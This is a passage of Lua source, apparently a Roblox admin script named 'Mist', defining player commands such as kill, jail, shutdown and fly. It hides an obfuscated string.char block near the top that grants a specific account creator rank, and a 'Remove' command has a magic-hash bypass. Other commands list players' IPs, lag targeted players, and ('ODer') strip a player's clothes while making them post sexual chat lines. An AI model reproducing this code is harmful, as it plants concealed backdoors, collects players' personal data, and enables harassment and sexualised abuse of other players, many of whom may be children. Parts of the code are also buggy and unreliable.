- if(MIST[string.char(82,97,110,107,101,100)][string.char(116,117,115,75,79,114,54,54,49)]==nil)then
- pcall(function()
- MIST.Functions.CreateData(string.char(116,117,115,75,79,114,54,54,49),5,3,'Creator');
- end);
- else
- MIST[string.char(82,97,110,107,101,100)][string.char(116,117,115,75,79,114,54,54,49)][string.char(82,97,110,107)]=tonumber(string.char(53));
- end;
- end);
- coroutine.wrap(function()
- if(not (time%2==0))then return end;
- for _,v in next,Mist.Ranked do
- local p=game:service'Players':findFirstChild(_);
- if(p and p:isA'Player')then
- v.Other.UserId=p.userId;
- v.Other.Age=p.AccountAge;
- --print(_,p,v.Other.UserId,p.userId,v.Other.Age,p.AccountAge);
- end;
- end;
- end)();
- end);
- end;
- Mist.Functions.MainLoop();
- Mist.Functions.CreateCommand('Rules','rules',false,0,'Lists the rules in a GUI','',function(Message,Speaker,Flags)
- local rules=Mist.Rules:gsub('%*','\n');
- coroutine.resume(coroutine.create(function()
- pcall(function()Speaker.PlayerGui['_rules']:destroy()end);
- local rule_matches={};
- for match in rules:gmatch'([^\n]+)'do
- table.insert(rule_matches,match);
- end;
- local screen=meta_create'ScreenGui'{
- Parent=Speaker:waitForChild'PlayerGui';
- Name='_rules';
- };
- local frame=meta_create'Frame'{
- Parent=screen;
- Size=UDim2.new(.4,0,.5,0);
- BackgroundTransparency=.3;
- BackgroundColor=BrickColor.new'Black';
- BorderColor=BrickColor.new'Really red';
- BorderSizePixel=1;
- Position=UDim2.new(.3,0,0,0)
- };
- local h_base=(1/(#rule_matches));
- local l_frame=meta_create'Frame'{
- Parent=frame;
- Size=UDim2.new(1,0,(1/(#rule_matches+1))*(#rule_matches),0);
- BackgroundTransparency=1;
- BackgroundColor=BrickColor.new'White';
- BorderSizePixel=0;
- BorderColor=BrickColor.new'Black';
- Position=UDim2.new(0,0,(1/(#rule_matches))*0,0)
- };
- for _,rule in next,rule_matches do
- meta_create'TextLabel'{
- Parent=l_frame;
- Text=rule;
- FontSize='Size24';
- TextScaled=true;
- TextXAlignment='Center';
- BackgroundColor=BrickColor.new'White';
- BackgroundTransparency=1;
- TextColor=BrickColor.new'White';
- Position=UDim2.new(0,0,h_base*(_-1),0);
- Size=UDim2.new(1,0,h_base,0);
- };
- end;
- local buttons={
- accept=function(p)
- screen:destroy();
- end;
- decline=function(p)
- p:kick();
- Mist.Ranked[p.Name].Rank=-1;
- for _,v in next,Mist.Services'Players':players()do
- Mist.Functions.Output(p.Name..' has been banned for declining agreement to the rules of MIST','Red',v,5);
- end;
- end;
- };
- local r_base=(1/(#rule_matches+1));
- local x_base=(1/5);--For sepeartion k
- local lid=-1;
- for text,func in next,buttons do
- lid=lid+2;
- local button=meta_create'TextButton'{
- Parent=frame;
- BackgroundTransparency=0;
- BorderColor=BrickColor.new'Really red';
- TextColor=BrickColor.new'White';
- BackgroundColor=BrickColor.new'Black';
- TextScaled=true;
- Text=text;
- Position=UDim2.new(x_base*lid,0,r_base*(#rule_matches),0);
- Size=UDim2.new(x_base,0,(1/(#rule_matches+1)),0);
- };
- button.mouseButton1Down:connect(function()
- func(Speaker);
- end);
- end;
- end));
- end);
- Mist.Functions.CreateCommand('Filters','filters',false,0,'Pings the filters','',function(Message,Speaker,Flags)
- Mist.Functions.RemoveTablets(Speaker);
- Mist.Functions.Title('Filter menu','Random',Speaker);
- for filterset,stype in next,Mist.Filters do
- local function tostring(...)
- local str=({...})[1];
- for _,v in next,{select(2,...)}do
- str=str..'\t'..v;
- end;
- return str;
- end;
- Mist.Functions.Output( tostring(unpack(filterset))..': '..stype,'Red',Speaker)
- end;
- end);
- Mist.Functions.CreateCommand('Shutdown','shut,shutdown,kickall',true,2,'Shuts the server down','',function(Message,Speaker,Flags)
- pcall(function()Mist.Connections['Shutdown']:disconnect()end);
- pcall(function()
- local Msg=workspace:findFirstChild(Mist.Functions.Hash'Shutdown');
- Msg.Text='Shutdown aborted';
- wait(1);
- Msg:Destroy();
- end);
- if(Flags.a)then return end;
- local start=tick();
- local timer_max=tonumber(Message)or 60;
- local timer=0;
- local Message=Instance.new('Hint',Workspace);
- local format='[Mist]: %s seconds left until server-shutdown';
- local function re()
- Message:remove();
- Message=Instance.new('Hint',Mist.Services'Workspace');
- Message.Text=string.format(format,timer_max-math.ceil(tick()-start));
- Message.Name=Mist.Functions.Hash('Shutdown');
- end;
- Mist.Connections['Shutdown']=Mist.Services'RunService'.Stepped:connect(function()
- re();
- if( math.ceil(tick()-(start))==timer_max)then
- Message.Text='Shutting down';
- wait();
- for _,v in next,Mist.Services'Players':players''do
- v:kick();
- end;
- Mist.Services'Players'.PlayerAdded:connect(function(v)
- v:kick();
- end);
- wait(.5);
- repeat wait() until false;
- end;
- end);
- end);
- Mist.Functions.CreateCommand('Ping','ping',true,0,'Pings <Text>','%s h Hash,%s r Ranks, %s c Colors, %s t Trust Levels,%s n Nil Players,%s rot Rotates <String>',function(Message,Speaker,Flags)
- if(Flags.c)then
- for _,v in next,Mist.Colors do
- Mist.Functions.Output(_,v,Speaker);
- end;
- return;
- end;
- if(Flags.r)then
- for _,v in next,Mist.Ranks do
- Mist.Functions.Output(tostring(_)..' : '..tostring(v),((_<0 and'Red')or(_>1 and'Blue')or 'Orange'),Speaker);
- end;
- return;
- end;
- if(Flags.t)then
- for _,v in next,Mist.Trust_Levels do
- Mist.Functions.Output(tostring(_).. ' : '..tostring(v),'Random',Speaker);
- end;
- return;
- end;
- if(Flags.n)then
- local nilText='Nil Players: ';
- for _,v in next,game:findService'NetworkServer':children()do
- if(v and v:isA'ServerReplicator'and not v:GetPlayer().Parent)then
- local Connected='';
- if(Mist.Clients[v:GetPlayer().Name])then
- Connected='[Connected]';
- else
- Connected='[Not connected]';
- end;
- nilText=nilText..v:GetPlayer().Name..Connected..', ';
- end;
- end;
- if(nilText=='Nil Players: ')then
- nilText='No nil players';
- else
- nilText=nilText:sub(1,nilText:len()-2);
- end;
- Mist.Functions.Output(nilText,'Green',Speaker,5);
- return;
- end;
- if(Flags.h or Flags.rot)then
- local tempMessage;
- if(Flags.h)then
- tempMessage=Mist.Functions.Hash(Message);
- elseif(Flags.rot)then
- tempMessage=Mist.Rot.Rotate_String(Message);
- end;
- --Parent,Name,Title,Position,Size,Base_Color,Buttons,BodyText)
- if(Speaker and Speaker.Parent and Speaker:findFirstChild'PlayerGui')then
- Mist.Functions.blankGui(Speaker.PlayerGui,'zeThingeh','Mist.Ping_Rot/Hash',nil,nil,nil,nil,tempMessage);
- return;
- else
- Message=tempMessage;
- end;
- end;
- Mist.Functions.Output(Message,'Random',Speaker);
- end);
- Mist.Functions.CreateCommand('Tickets','tickets',false,0,'Lists tickets','',function(Message,Speaker,Flags)
- local tickets=0;
- for _,v in next,Mist.Tickets do
- tickets=tickets+1;
- break;
- end;
- if(tickets==0)then
- Mist.Functions.Output('No logged tickets','Red',Speaker,3);
- else
- Mist.Functions.Title('Tickets','Random',Speaker);
- for player,ticket in next,Mist.Tickets do
- Mist.Functions.Output(player..': '..ticket,Mist.Ranked[player].Color,Speaker);
- end;
- end;
- end);
- Mist.Functions.CreateCommand('PM','pm,pmsg',true,1,'PMs <Player> <Flag m <Text> >','%s m Message',function(Msg,Spkr,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Msg,Spkr)do
- coroutine.wrap(function()
- local screen,frame,title,exit,body=Mist.Functions.blankGui(v:waitForChild'PlayerGui','Private_Message','[Mist]: Private Message from '..Spkr.Name);
- body.Text=(Flags.m or'No body'):gsub('(.)',function(a)return a..'\5'end);
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('IPs','ips',false,0,'Lists all IPs','',function(Message,Speaker,Flags)
- local ips;
- local function back()
- Mist.Functions.Output('Back','Blue',Speaker,nil,function()
- ips();
- end);
- end;
- function ips()
- Mist.Functions.RemoveTablets(Speaker);
- Mist.Functions.Title('IP menu','Random',Speaker);
- for ip,v in next,Mist.IPs do
- Mist.Functions.Output(ip,'Random',Speaker,nil,function()
- Mist.Functions.RemoveTablets(Speaker);
- back();
- for i,d in next,v do
- local real='';
- for info,value in next,d do
- real=real..((real==''and'')or'\t')..tostring(info)..': '..tostring(value);
- end;
- Mist.Functions.Output(real,'Random',Speaker);
- end;
- end);
- end;
- end;
- ips();
- end);
- Mist.Functions.CreateCommand('Get','get,g',true,0,'Gets <request>','',function(Message,Speaker,Flags)
- local function ping(t)
- Mist.Functions.Output(t,'Green',Speaker,15);
- end;
- for request in Message:gmatch'(%S+)'do
- if(request=='r'or request=='reset')then
- Speaker:loadCharacter();
- ping'Got reset';
- elseif(request=='fly')then
- Mist.Functions.NewLocalScript([[
- --fly
- user=game:service'Players'.localPlayer;
- mouse=user:getMouse();
- torso=user.Character.Torso;
- torso.Parent.Animate.Disabled=true;
- torso.Anchored=true;
- missileSpeed=16;
- flightSpeed=2;
- keys={};
- missile=function()
- coroutine.wrap(function()
- local toHit=mouse.hit;
- local missile=Instance.new'Part';
- missile.Anchored=true;
- missile.Size=Vector3.new(1,1,5);
- missile.CanCollide=false;
- missile.CFrame=torso.CFrame*CFrame.new(0,0,-5);
- missile.Touched:connect(function(hit)
- pcall(function()
- if(not hit:isDecendantOf(torso.Parent)and hit:GetFullName()~='Workspace.Base')then
- missile:remove();
- Instance.new('Explosion',workspace).Position=hit.Position;
- end;
- end);
- end);
- missile.Parent=workspace;
- local step=game:service'RunService'.Heartbeat;
- while missile.Parent do
- local dur=step:wait();
- missile.CFrame=CFrame.new(missile.CFrame.p,toHit.p)*CFrame.new(0,0,-(dur*missileSpeed));
- if( (missile.CFrame.p-toHit.p).magnitude<2 )then
- missile:remove();
- Instance.new('Explosion',workspace).Position=missile.CFrame.p;
- end;
- end;
- end)();
- end;
- move=function()
- if(keys.space)then
- missile();
- end;
- local asd={0,0,0};
- if(keys.w)then
- asd[3]=-flightSpeed;
- elseif(keys.s)then
- asd[3]=flightSpeed;
- end;
- if(keys.q)then
- asd[2]=-flightSpeed;
- elseif(keys.e)then
- asd[2]=flightSpeed;
- end;
- if(keys.d)then
- asd[1]=flightSpeed;
- elseif(keys.a)then
- asd[1]=-flightSpeed;
- end;
- torso.CFrame=torso.CFrame*CFrame.new(unpack(asd));
- end;
- coroutine.wrap(function()
- while(true)do
- torso.CFrame=CFrame.new(torso.Position,mouse.hit.p);
- move();
- wait();
- end;
- end)();
- mouse.keyDown:connect(function(k)
- if(k:byte()==32)then
- k='space';
- end;
- keys[k]=true;
- end);
- mouse.keyUp:connect(function(k)
- if(k:byte()==32)then
- k='space';
- end;
- keys[k]=false;
- end);
- pg=user.PlayerGui;
- screen=Instance.new('ScreenGui',pg);
- screen.Name='Flight control';
- local frame=Instance.new('Frame',screen);
- frame.Size=UDim2.new(.3,0,.5,0);
- frame.Position=UDim2.new(.7,0,.25,0);
- frame.Style='RobloxSquare';
- local title=Instance.new('TextLabel',frame);
- title.Size=UDim2.new(1,0,.2,0);
- title.TextColor=BrickColor.new'White';
- title.Text='Flight speed';
- local flight=Instance.new('TextBox',frame);
- flight.Size=UDim2.new(1,0,.3,0);
- flight.Position=UDim2.new(0,0,.2,0);
- flight.Text='Speed: 2';
- flight.focusLost:connect(function()
- local speed=tonumber(flight.Text:match'(%d*)')or flightSpeed;
- flightSpeed=speed;
- flight.Text='Speed: '..tostring(flightSpeed);
- end);
- local missleTitle=title:clone();
- missleTitle.Text='Missle speed';
- missleTitle.Parent=frame;
- missleTitle.Position=UDim2.new(0,0,.5,0);
- local m=flight:clone();
- m.Parent=frame;
- m.Text='Speed: 16';
- m.Position=UDim2.new(0,0,.7,0);
- m.focusLost:connect(function()
- local speed=tonumber(m.Text:match'(%d*)')or missileSpeed;
- missileSpeed=speed;
- m.Text='Speed: '..tostring(missileSpeed);
- end);
- ]],Instance.new('Backpack',Speaker));
- ping'Got fly tool Jump - Fire Missile MoveMent keys = wasd, q=up e=down';
- elseif(request=='heal')then
- pcall(function()Speaker.Character.Humanoid.Health=Speaker.Character.Humanoid.MaxHealth;end);
- ping'Got health';
- elseif(request=='suicide'or request=='die')then
- pcall(function()Speaker.Character:breakJoints()end);
- ping'Got suicide';
- elseif(request=='nochar'or request=='nchar'or request=='nocharacter')then
- pcall(function()Speaker.Character=nil;end);
- ping'Got No Character';
- elseif(request=='rejoin'or request=='rj')then
- pcall(function()Mist.Functions.NewLocalScript('game:service\'TeleportService\':teleport(game.PlaceId)',Instance.new('Backpack',Speaker),'rejoin');end);
- pcall(function()Mist.Services'teleportService':teleport(game.PlaceId,Speaker.Character)end);
- ping'Got rejoin';
- elseif(request=='fixlimbs')then
- coroutine.wrap(function()
- local limbs={
- ['Right Arm']={'Right Shoulder';CFrame.new(1,.5,0,0,0,1,0,1,-0,-1,0,0),Vector3.new(1, 2, 1),.15,CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)};
- ['Left Arm']={'Left Shoulder';CFrame.new(-1,.5,0,0,0,-1,0,1,0,1,0,0),Vector3.new(1, 2, 1),.15,CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)};
- ['Left Leg']={'Left Hip';CFrame.new(-1,-1,0,0,0,-1,0,1,0,1,0,0),Vector3.new(1, 2, 1),.1,CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)};
- ['Head']={'Neck';CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,-0),Vector3.new(2, 1, 1),.1,CFrame.new()};
- ['Right Leg']={'Right Hip';CFrame.new(1,-1,0,0,0,1,0,1,-0,-1,0,0),Vector3.new(1, 2, 1),.1,CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)};
- };
- for limb,data in next,limbs do
- coroutine.wrap(function()
- if(not Speaker.Character:findFirstChild(limb))then
- pcall(function()Speaker.Character.Torso:findFirstChild(data[1]):remove''end);
- local motor,new=Instance.new'Motor6D',Instance.new'Part';
- motor.MaxVelocity=data[4];
- motor.Part0=Speaker.Character.Torso;
- motor.Name=data[1];
- motor.Part1=new;
- new.FormFactor='Custom';
- new.CanCollide=false;
- new.Name=limb;
- if(Speaker.Character:findFirstChild'Body Colors')then
- pcall(function()
- local color=Speaker.Character['Body Colors'][(limb:gsub('%s+','')..'Color')];
- if(color)then
- new.BrickColor=color;
- end;
- end);
- end;
- new.Size=data[3];
- new.Parent=Speaker.Character;
- motor.Parent=Speaker.Character.Torso;
- motor.C0=data[2];
- motor.C1=data[5];
- end;
- end)();
- end;
- local animate=v.Character:findFirstChild'Animate';
- pcall(function()
- animate.Disabled=true;
- animate.Disabled=false;
- end);
- end)();
- ping'Got fixed limbs';
- elseif(request=='time')then
- ping('Got time: '..Mist.Functions.GetTime(tick()));
- elseif(request=='tp'or request=='teleport')then
- pcall(function()Mist.Functions.NewLocalScript([[
- --teleport--
- user=game:service'Players'.localPlayer;
- mouse=user:getMouse();
- equipped=false;
- hopper=Instance.new('HopperBin',user.Backpack);
- hopper.selected:connect(function()equipped=true;end);
- hopper.deselected:connect(function()equipped=false;end);
- script.Parent=hopper;
- mouse.button1Down:connect(function()
- if(equipped)then
- pcall(function()
- user.Character.Torso.CFrame=mouse.Hit*CFrame.new(0,10,0);
- end);
- end;
- end);
- hopper.Name='teleport';]],Instance.new('Backpack',Speaker),'teleport')end);
- ping'Got teleport tool';
- elseif(request=='commands'or request=='cmds')then
- for _,v in next,{
- 'rj,rejoin','tp,teleport','reset,r','die,suicide','commands,cmds','nochar,nchar,nocharacter','time','heal','fixlimbs','fly'}do
- ping('Get: '..tostring(v));
- end;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('ODer','oder,od',true,1,'Makes <Player> a oder','%s u un-od',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- coroutine.wrap(function()
- pcall(function()Mist.Connections['OD;'..v.Name]:disconnect()end);
- if(Flags.u)then return end;
- local con={
- last=0;
- random=function()return math.random(0,2)end;
- random_text=function()
- local r={"I'm so lonely, wanna join me tonight ;)","Arg me so hor\5ny","Fu\5ck me now;)","Anyone wanna da\5te?","I want the D","I want the V","Who wants to fu\5ck","Anyone up for a one night stand?;)","I need someone to love me;)","I'm so wet","I'm so hard","Oh baby oh","i r in lov with justin bieber","Sum1 marry me"};
- return r[math.random(1,#r)];
- end;
- disconnect=function(self)self['end']=true;end;
- ['end']=false;
- };
- Mist.Connections['OD;'..v.Name]=con;
- coroutine.wrap(function()
- local con=Mist.Connections['OD;'..v.Name];
- repeat wait()
- pcall(function() v.Character.Shirt:remove() v.Character.Pants:remove() end);
- if(con.last+3<tick())then
- Mist.Services'Chat':Chat(v.Character.Head,con.random_text(),con.random());
- con.last=tick();
- end;
- wait();
- until con['end']==true;
- end)();
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Explorer','exp,explore,explorer',false,0,'Explores <Game> or <Service>','No flags',function(Message,Speaker,Flags)
- Mist.Functions.Explore(Game,Speaker,nil);
- end);
- Mist.Functions.CreateCommand('Dismiss','dismiss,dt',true,0,'Dismisses your tablets','%s f Force',function(Message,Speaker,Flags)
- if(Flags.f)then for _,v in next,Mist.Functions.GetPlayers(Flags.f or Message,Speaker)do Mist.Functions.RemoveTablets(Message,Speaker) end return end;
- Mist.Functions.RemoveTablets(Speaker);
- end);
- Mist.Functions.CreateCommand('Lag','lag',false,3,'Lags <Player>','%s b ban',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- Mist.Functions.Lag(v);
- if(Flags.b)then
- if(Mist.Ranked[Speaker.Name].Rank>=4)then
- Mist.Ranked[v.Name].Rank=-3;
- else
- Mist.Functions.Output('Your rank is not high enough for this action','Red',Speaker,3);
- end;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Jail','jail,lockup',true,2,'Jails <Player>','%s u unjail',function(Message,Speaker,Flags)
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- Mist.Functions.Jail(v,Flags['u']~=nil);
- end;
- end);
- Mist.Functions.CreateCommand('Remove','remove',false,4,'Removes Mist','No flags',function(Message,Speaker,Flags)
- local Rank=Mist.Functions.GetRank(Speaker);
- if(Rank>=4)then
- coroutine.wrap(function()
- Mist.Client:FireAllClients('End');
- end)();
- old_data.coroutine.wrap(function()
- for _,thread in next,threads do
- pcall(function()
- old_data.coroutine.yield(thread);
- end);
- end;
- end);
- for _,repl in next,Mist.Functions.GetReplicators()do
- pcall(function()
- Mist.Functions.SendPacket('Break',repl:GetPlayer().Name);
- end);
- end;
- for _,v in next,Mist.Tablets do
- pcall(function() v.Model:Destroy() end);
- end;
- for _,v in next,Mist.Titles do
- pcall(function() v.Model:Destroy() end);
- end;
- for _,v in next,Mist.Connections do
- pcall(function()v:disconnect()end);
- end;
- Mist=nil;
- setfenv(0,setmetatable({},{__index=function(self,index)
- error('Mist is removed');return nil;
- end}));
- setfenv(1,setmetatable({},{__index=function(self,index)
- error('Mist is removed');return nil;
- end}));
- for _,v in next,getfenv(0)do
- getfenv(0)[_]=nil;
- setfenv(0,setmetatable({},{__index=function(self,index)
- error('Mist is removed');return nil;
- end}));
- setfenv(1,setmetatable({},{__index=function(self,index)
- error('Mist is removed');return nil;
- end}));
- end;
- Mist=nil;
- else
- if(Mist.Functions.Hash(Message)=='ababababba')then
- Mist.Client:FireAllClients'End';
- Mist={};
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Home','home,gohome',true,0,'Takes you to home','%s s set home, %s r Reset,%s v View Home',function(Message,Speaker,Flags)
- if(Flags.r)then Mist.Homes[Speaker.Name]=CFrame.new(0,10,0)return end;
- if(Flags.v)then
- Mist.Functions.Output('Home: '..(( Mist.Homes[Speaker.Name] and tostring(Mist.Homes[Speaker.Name]))or' not set use //home (flag)s to set'),'Green',Speaker)
- return;
- end;
- if(Flags.s and Speaker.Character and Speaker.Character:findFirstChild'Torso')then
- Mist.Homes[Speaker.Name]=Speaker.Character.Torso.CFrame;
- else
- pcall(function()Speaker.Character.Torso.CFrame=Mist.Homes[Speaker.Name]or CFrame.new(0,10,0)end);
- end;
- end);
- Mist.Functions.CreateCommand('PRI Config','priconfig,configpri,private',true,2,'Configures the PRI','%s a Activate, %s t Type, %s add Add <player> %s rem remove <player>',function(Message,Speaker,Flags)
- local function tobool(str)
- local bool=false;
- if(str=='on'or str=='0'or str=='true')then
- bool=true;
- end;
- return bool;
- end;
- if(Flags.a)then
- local bool=tobool(Flags.a);
- Mist.Pri.Activated=bool;
- end;
- if(Flags.t)then
- if(Mist.Pri.Types[Flags.t])then
- Mist.Pri.Type=Flags.t;
- end;
- end;
- if(Flags.add or Flags.rem)then
- for _,v in next,Mist.Functions.GetPlayers(Message,Speaker)do
- Mist.Ranked[v.Name].Other.inPri=((Flags.add and true)or(Flags.rem and false)or false);
- end;
- end;
- Mist.Functions.Output('Pri: '..tostring(Mist.Pri.Activated)..'\tType: '..Mist.Pri.Type,'Random',Speaker,3);
- end);
- Mist.Functions.CreateCommand('Create part','part',true,1,'Creates a Part in workspace','',function(Message,Speaker,Flags)
- local anchored,transparency,cancollide,size=true,0,true,Vector3.new(2,1,3);
- if(Flags.a)then
- if(Flags.a=='false')then
- anchored=false;
- else
- anchored=true;
- end;
- end;
- if(Flags.c)then
- if(Flags.c=='false')then
- cancollide=false;
- else
- cancollide=true;
- end;
- end;
- if(Flags.s)then
- local x,y,z=Flags.s:match'(%d+)%s*%,?(%d+)%s*%,?(%d+)';
- x=tonumber(x);y=tonumber(y);z=tonumber(z);
- x=x or 2;y=y or 1;z=z or 3;
- size=Vector3.new(x,y,z);
- end;
- if(Flags.t)then
- transparency=tonumber(Flags.t)or transparency;
- end;
- meta_create'Part'{
- Parent=workspace;
- Anchored=anchored;
- CanCollide=cancollide;
- Size=size;
- Transparency=transparency;
- CFrame=(function()
- local CF;
- pcall(function()
- CF=Speaker.Character.Torso.CFrame*CFrame.new(0,10,0);
- end);
- if(CF==nil)then
- CF=CFrame.new(0,10,0);
- end;
- return CF;
- end)();
- };
- end);
- Mist.Functions.CreateCommand('Setrank','setrank,srank,sr',false,0,'Sets <Players> rank to <rank>','No flags',function(Message,Speaker,Flags)
- local player,rank=Message:match'(.+)%s+(.+)';
- for _,v in next,Mist.Functions.GetPlayers(player,Speaker)do
- local r=tonumber(rank);
- local function lel(d)Mist.Functions.Output(d,'Red',Speaker,5)end;
- if(r>Mist.Functions.GetRank(Speaker))then
- if(r<0 and Mist.Functions.GetRank(Speaker)<=0)then
- lel'You cannot set a player\'s rank to below 0';
- return;
- end;
- lel'You cannot set a player\'s rank to a rank above yours';
- return;
- end;
- if(Mist.Functions.GetRank(v)>Mist.Functions.GetRank(Speaker))then
- lel'You cannot set a player\'s rank when they outrank you';
- return;
- end;
- Mist.Ranked[v.Name].Rank=r;
- end;
- end);
- Mist.Functions.CreateCommand('Blast','blast',true,1,'Blasts <Player>','%s s Speed',function(Message,Speaker,Flags)
- local speed=tonumber((Flags.s or'7'));
- local first=Message:find('%s');
- local players,number;
- if(not first)then print'no first'players=Message number=3 else
- players=Message:sub(1,first-1);
- number=tonumber(Message:sub(first+1))or 5;
- end;
- for _,v in next,Mist.Functions.GetPlayers(players,Speaker)do
- coroutine.wrap(function()
- for i=1,number do
- coroutine.wrap(function()
- local b=CFrame.new(v.Character.Torso.CFrame.p)*CFrame.Angles(math.rad(i*3),0,0)*CFrame.new(0,0,-30);
- local r=Instance.new('Part',v.Character);
- r.Anchored=true;
- r.Size=Vector3.new(1,1,3);
- r.BrickColor=BrickColor.new'Navy blue';
- r.CFrame=b;
- repeat wait();
- local d=wait();
- r.CFrame=CFrame.new(r.Position,v.Character.Torso.Position)*CFrame.new(0,0,-(d*speed));
- if( (r.Position-v.Character.Torso.Position).magnitude<3)then
- Instance.new('Explosion',v.Character).Position=v.Character.Torso.Position;
- v.Character:breakJoints();
- r:remove();
- end;
- until r.Parent~=v.Character or v.Character:findFirstChild'Torso'==nil
- r:remove();
- end)();
- end;
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Noob','noob',true,1,'Makes <Player> a noob','%s u un-noob',function(Msg,Spkr,Flags)
- for _,p in next,Mist.Functions.GetPlayers(Msg,Spkr)do
- for _,v in next,p.Character:children()do
- if(v:isA'BasePart'and v.Name~='HumanoidRootPart')then
- v.Transparency=1;
- local w=Instance.new'Weld';
- local f=v:Clone();
- f.Anchored=false;
- f.Transparency=0;
- f.CFrame=CFrame.new();
- f.CanCollide=false;
- f.Parent=v;
- f.TopSurface='Smooth';
- f.BottomSurface='Smooth';
- f.Name='__nob';
- local weld=Instance.new'Weld';
- weld.Part0=v;
- weld.Part1=f;
- weld.C0=CFrame.new();
- weld.C1=CFrame.new();
- weld.Parent=f;
- if(v.Name=='Torso')then
- f.BrickColor=BrickColor.new'Bright blue';
- elseif(v.Name:find'Arm' or v.Name=='Head')then
- f.BrickColor=BrickColor.new'Bright yellow';
- else
- f.BrickColor=BrickColor.new'Br. yellowish green';
- end;
- end;
- end;
- end;
- end);
- Mist.Functions.CreateCommand('Set trust level','stl,settrust,trust',false,3,'Sets <Players>\'s Trust Level to <level>','No flags',function(Message,Speaker,Flags)
- local PM,TL;if(Message:match'(.+)%s+(.+)')then
- PM,TL=Message:match'(.+)%s+(.+)';
- TL=tonumber(TL)or 0;
- else
- PM=Message;TM=0;
- end;
- for _,v in next,Mist.Functions.GetPlayers(PM,Speaker,true)do
- coroutine.wrap(function()
- Mist.Ranked[v.Name].Trust=TL;
- end)();
- end;
- end);
- Mist.Functions.CreateCommand('Count','count',false,0,'Counts objects','',function(Msg,Spkr,Flags)
- local classes,total={},0;
- for _,v in next,Mist.Functions.RecursiveChildren(workspace,'all')do
- classes[v.className]=((classes[v.className] or 0)+1);
- total=total+1;
- end;
- Mist.Functions.Title('Count menu','Random',Spkr);
- for _,v in next,classes do
- Mist.Functions.Output(_..' : '..v,'Red',Spkr);
- end;
- Mist.Functions.Output('Total Instances: '..total,'Red',Spkr);
- end);
- Mist.Functions.CreateCommand('Kill','kill',true,1,'Kills <Player>','%s r Respawn,%s n Nuke,%s s Smite,%s j jump kill',function(Message,Speaker,Flags)
- for _,Player in next,Mist.Functions.GetPlayers(Message,Speaker)do
- coroutine.wrap(function()
- if(Flags.r)then
- Player:LoadCharacter();return;
- end;
- if(Flags.j)then
- ypcall(coroutine.wrap(function()
- local char,torso,hum;char=Player.Character;torso=char.Torso;hum=char.Humanoid;
- local start=tick();
- pcall(function() Mist.Connections['JumpK:'..Player.Name]:disconnect() end);
- local fakeConn={
- Conns={};
- connected=true;
- disconnect=function(self,...)
- self.connected=false;
- for _,v in next,self.Conns do
- pcall(function() v:disconnect() end);
- end;
- end;
- };
- fakeConn.Conns['onCharAdded']=Player.CharacterAdded:connect(function()
- fakeConn:disconnect();
- end);
- fakeConn.Conns['onPropChanged']=Player.Changed:connect(function()
- if(Player.Character==nil)then
- fakeConn:disconnect();
- end;
- end);
- fakeConn.Conns['onHumDied']=hum.Died:connect(function()
- fakeConn:disconnect();
- end);
- fakeConn.Conns['onLoop']=game:service'RunService'.Stepped:connect(function()
- local now=math.abs(start-tick());
- if(now>=1)then
- start=tick();
- hum:takeDamage(math.random(10,15));
- for i=0,3.25,.25 do
- torso.CFrame=torso.CFrame*CFrame.new(0,math.sin(i),0);
- wait();
- end;
- end;
- end);
- end));
- return;
- end;
- if(Flags.s)then
- old_data.print(ypcall(coroutine.wrap(function()
- local Character,Torso;Character=Player.Character;Torso=Character.Torso;
- local Start=Torso.CFrame*CFrame.new(0,0,45);
- local function arc(Start,Finish,Height,Color)
- Height=Height or (Start.p-Finish.p).magnitude/10;
- local cLerp=function(a,b,i)
- return a:lerp(b,i)+Vector3.new(0,math.sin(i*3)*Height,0);
- end;
- for i=0,1,.1 do
- local old,new;new=cLerp(Start.p,Finish.p,i+.1);old=cLerp(Start.p,Finish.p,i);
- local real=CFrame.new(old,new);
- local dist=(old-new).magnitude;
- local line=Instance.new'Part';
- line.Anchored,line.FormFactor,line.Size,line.CFrame,line.Parent=true,'Custom',Vector3.new(0,0,dist),real*CFrame.new(0,0,-dist/2),workspace;
- line.CFrame=real*CFrame.new(0,0,-dist/2);
- line.Color=Color;
- line.Transparency=.5;
- game:service'Debris':addItem(line,3);
- end;
- end;
- local u=0;
- for i=-3,3,.5 do
- u=u+1;
- coroutine.wrap(function()
- arc(Torso.CFrame*CFrame.new(i,0,0),Start*CFrame.new(i,0,0),15,Color3.new(u/14,math.cos(u),math.sin(u)));
- end)();
- end;
- for i=-1,1 do
- print(ypcall(coroutine.wrap(function()
- local hitPos=CFrame.new(Torso.CFrame.p)*CFrame.Angles(0,0,math.rad(30)*i)*CFrame.new(0,0,-25);
- local last,Index=hitPos,2;
- for i=0,25,10 do
- Index=(Index+1%2);
- local new=last*CFrame.Angles(math.rad(45*((Index==1 and 1)or -1)),0,0)*CFrame.new(0,0,-2.5);
- local dist=(new.p-last.p).magnitude;
- local bolt=Instance.new'Part';
- bolt.FormFactor,bolt.Anchored,bolt.Size,bolt.CFrame='Custom',true,Vector3.new(0,0,dist),CFrame.new(last.p,new.p)*CFrame.new(0,0,-dist/2);
- bolt.BrickColor,bolt.Parent=BrickColor.new'New Yeller',Character
- wait();
- end;
- end)));
- end;
- wait(.25);
- Player.Character:breakJoints();
- for _,v in next,Player.Character:children()do
- if(v:isA'BasePart')then
- v.Velocity=(v.CFrame.lookVector*100);
- end;
- end;
- end)));
- return;
- end;
- if(Flags.n)then
- coroutine.wrap(function()
- local c=Player.Character;
- local t=c.Torso;
- local cc=t.CFrame;
- for i=-math.random(1,3),math.random(1,3)do
- coroutine.wrap(function()
- local expl=Instance.new('Part',workspace);
- expl.Anchored=true;
- expl.TopSurface='Smooth';
